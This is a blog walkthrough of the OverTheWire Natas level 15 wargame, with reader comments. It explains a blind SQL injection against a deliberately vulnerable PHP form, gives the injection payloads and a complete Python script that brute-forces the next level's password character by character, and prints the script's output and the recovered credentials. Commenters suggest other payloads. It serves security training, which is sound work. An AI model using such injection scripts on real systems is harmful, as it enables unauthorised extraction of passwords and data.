<< Previous challenge |
Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas15.natas.labs.overthewire.org and take a look at its content.
This challenge is similar to the previous one, we're also using SQL injections to gain access to the next password, this time however, we need some scripting to brute force the password.
Take a look at the website, it's a simple form where you enter an username to check if it exists, nothing fancy, let's take a look at the source code:
Let's start with lines 17 to 20, which tell us that there's a table called users with fields username and password, always good to know what we're working with, and although this comment is quite convenient, if you recall from the first two levels, sometimes authors do forget to remove comments like this.
Lines 23 to 44 deal with the request made, the connection to the database is established and a query is built taking the username parameter from the request and then executed, what's printed depends on the query result. This challenge might not be so obvious, but again it's about SQL injection, so it comes down to the query, just like in the previous challenge, the query is built with values that are not parsed nor escaped, so we know we can inject whatever we want in that username parameter. I mentioned the lines 17 to 20 because they're a good clue on what to do, since we know that the table holds the username and password, all we need is to append some code that validates both the username and password (like the log in query from the previous challenge), if we get "This user exists." with the appended code, that should contain the full password, we've done our job.
So we figured what we need to do to complete the challenge, try multiple combinations of characters with the username for natas16 until we get the correct output, or in other words, brute force the password, let's get on how to do it:
Summing-up, we start by parsing all 62 characters to remove the unused and then start building the password one character at a time. For reference, this is the injection we're going to make to parse the characters:
The 0 will be replaced with every possible character, if we get "This user exists.", the character exists in the password.
And this is the injection we're going to make to brute force the password:
Again, the 0 will be replace with the parsed characters until there's a match, from which the algorithm will advance to next position and so on, until we get a string of size 32 (e.g.: a%, ab%, abc%).
Now the fun part, create and run a script that does what we want, this is what I came up with, in python (you need requests to make this work):
Although it has some size, it's pretty simple and it does the job nicely, with some added prints, because fancy is cool. Running this script will give the follow output:
After some time parsing and brute forcing, we get our password for natas 16.
This challenge is similar to the previous one, we're also using SQL injections to gain access to the next password, this time however, we need some scripting to brute force the password.
Take a look at the website, it's a simple form where you enter an username to check if it exists, nothing fancy, let's take a look at the source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head> <body> <h1>natas15</h1> <div id="content"> <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Lines 23 to 44 deal with the request made, the connection to the database is established and a query is built taking the username parameter from the request and then executed, what's printed depends on the query result. This challenge might not be so obvious, but again it's about SQL injection, so it comes down to the query, just like in the previous challenge, the query is built with values that are not parsed nor escaped, so we know we can inject whatever we want in that username parameter. I mentioned the lines 17 to 20 because they're a good clue on what to do, since we know that the table holds the username and password, all we need is to append some code that validates both the username and password (like the log in query from the previous challenge), if we get "This user exists." with the appended code, that should contain the full password, we've done our job.
So we figured what we need to do to complete the challenge, try multiple combinations of characters with the username for natas16 until we get the correct output, or in other words, brute force the password, let's get on how to do it:
- We know that the password is 32 characters long (all previous passwords were, why should this one be any different?);
- We know that the password is composed of numbers and the alphabet and that it's case sensitive, so that's 10 characters plus 26 times 2.
- And finally, that the characters may repeat themselves in the password.
Summing-up, we start by parsing all 62 characters to remove the unused and then start building the password one character at a time. For reference, this is the injection we're going to make to parse the characters:
natas16" AND password LIKE BINARY "%0%" "
And this is the injection we're going to make to brute force the password:
"natas16" AND password LIKE BINARY "0%" "
Now the fun part, create and run a script that does what we want, this is what I came up with, in python (you need requests to make this work):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | # Created by Joao Godinho # October 2014 # Script to brute force level 15 of natas wargames # Refer to http://floatingbytes.blogspot.com for details # Library to work with the POST requests import requests # All possible characters allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # Parsed characters, the ones that actually exist in the password parsedChars = '' # Final Password password = '' # Our target URL target = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/' # The string that tells we're on the right path existsStr = 'This user exists.' # Checking if we can connect to the target, just in case... r = requests.get(target) if r.status_code != requests.codes.ok: raise ValueError('Kabum? Couldn\'t connect to target :(') else: print 'Target reachable. Starting character parsing...' # The fun begin, let's see what characters are actually part of the pwd for c in allChars: # SQL injection #1 r = requests.get(target+'?username=natas16" AND password LIKE BINARY "%'+c+'%" "') # So does the password use this char? if r.content.find(existsStr) != -1: parsedChars += c print 'Used chars: ' + parsedChars print 'Characters parsed. Starting brute force...' # Assuming password is 32 characters long for i in range(32): for c in parsedChars: # SQL injection #2 r = requests.get(target+'?username=natas16" AND password LIKE BINARY "' + password + c + '%" "') # Did we found the character at the i position of the password? if r.content.find(existsStr) != -1: password += c print 'Password: ' + password + '*' * int(32 - len(password)) break print 'Done. Have fun!' |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | Target reachable. Starting character parsing... Used chars: 0 Used chars: 03 Used chars: 035 Used chars: 0356 Used chars: 03569 Used chars: 03569a Used chars: 03569ac Used chars: 03569ace Used chars: 03569aceh Used chars: 03569acehi Used chars: 03569acehij Used chars: 03569acehijm Used chars: 03569acehijmn Used chars: 03569acehijmnp Used chars: 03569acehijmnpq Used chars: 03569acehijmnpqt Used chars: 03569acehijmnpqtw Used chars: 03569acehijmnpqtwB Used chars: 03569acehijmnpqtwBE Used chars: 03569acehijmnpqtwBEH Used chars: 03569acehijmnpqtwBEHI Used chars: 03569acehijmnpqtwBEHIN Used chars: 03569acehijmnpqtwBEHINO Used chars: 03569acehijmnpqtwBEHINOR Used chars: 03569acehijmnpqtwBEHINORW Characters parsed. Starting brute force... Password: W******************************* Password: Wa****************************** Password: WaI***************************** Password: WaIH**************************** Password: WaIHE*************************** Password: WaIHEa************************** Password: WaIHEac************************* Password: WaIHEacj************************ Password: WaIHEacj6*********************** Password: WaIHEacj63********************** Password: WaIHEacj63w********************* Password: WaIHEacj63wn******************** Password: WaIHEacj63wnN******************* Password: WaIHEacj63wnNI****************** Password: WaIHEacj63wnNIB***************** Password: WaIHEacj63wnNIBR**************** Password: WaIHEacj63wnNIBRO*************** Password: WaIHEacj63wnNIBROH************** Password: WaIHEacj63wnNIBROHe************* Password: WaIHEacj63wnNIBROHeq************ Password: WaIHEacj63wnNIBROHeqi*********** Password: WaIHEacj63wnNIBROHeqi3********** Password: WaIHEacj63wnNIBROHeqi3p********* Password: WaIHEacj63wnNIBROHeqi3p9******** Password: WaIHEacj63wnNIBROHeqi3p9t******* Password: WaIHEacj63wnNIBROHeqi3p9t0****** Password: WaIHEacj63wnNIBROHeqi3p9t0m***** Password: WaIHEacj63wnNIBROHeqi3p9t0m5**** Password: WaIHEacj63wnNIBROHeqi3p9t0m5n*** Password: WaIHEacj63wnNIBROHeqi3p9t0m5nh** Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhm* Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh Done. Have fun! |
User | natas16 |
Password | WaIHEacj63wnNIBROHeqi3p9t0m5nhmh |
Like I said in the previous post, some injections are simpler than others, this time we had a more complicated one. The post is quite long but it's simple overall, we just had the need to create a script to brute force the password.
Never Settle,
<< Previous challenge |
This is also solvable by doing a binary search across the passwords. If you inject a STRCMP it will tell you if the actual password occurs before or after the one you guess, with this you can find the password in log(n), which in this case successfully finds the password in only 191 queries.
ReplyDeleteYou're right, bisecting the password using strcmp would be a lot faster!
DeleteSo we guess any random password after one STRCMP what will be our string for the comparison?
DeleteOkay, but it would only work if you know the password length, right? I know this is the case... But what if no?
Deletein fact if your query looks like
ReplyDelete'natas16" and substring(password,'+ str(index) +',1) like binary "'+ letter +'";#'
you directly get the letter at the good place
Could you maybe explain why you check if it's not equal to -1? What does it do?
ReplyDeleteAnd then in this part: '?username=natas16" AND password LIKE BINARY "%'+c+'%" "'
Why do you have ' after the first % and and ' before the second %? And then is space needed in the end " " ?
following js script also works fine,
ReplyDeletejust inject this code directly to natas15 webpage using firebug
https://pastebin.com/raw/HDBgJGRj
That script is more ugly than the one proposed in this post. And do more iteration, so I think that's not a good solution....
Delete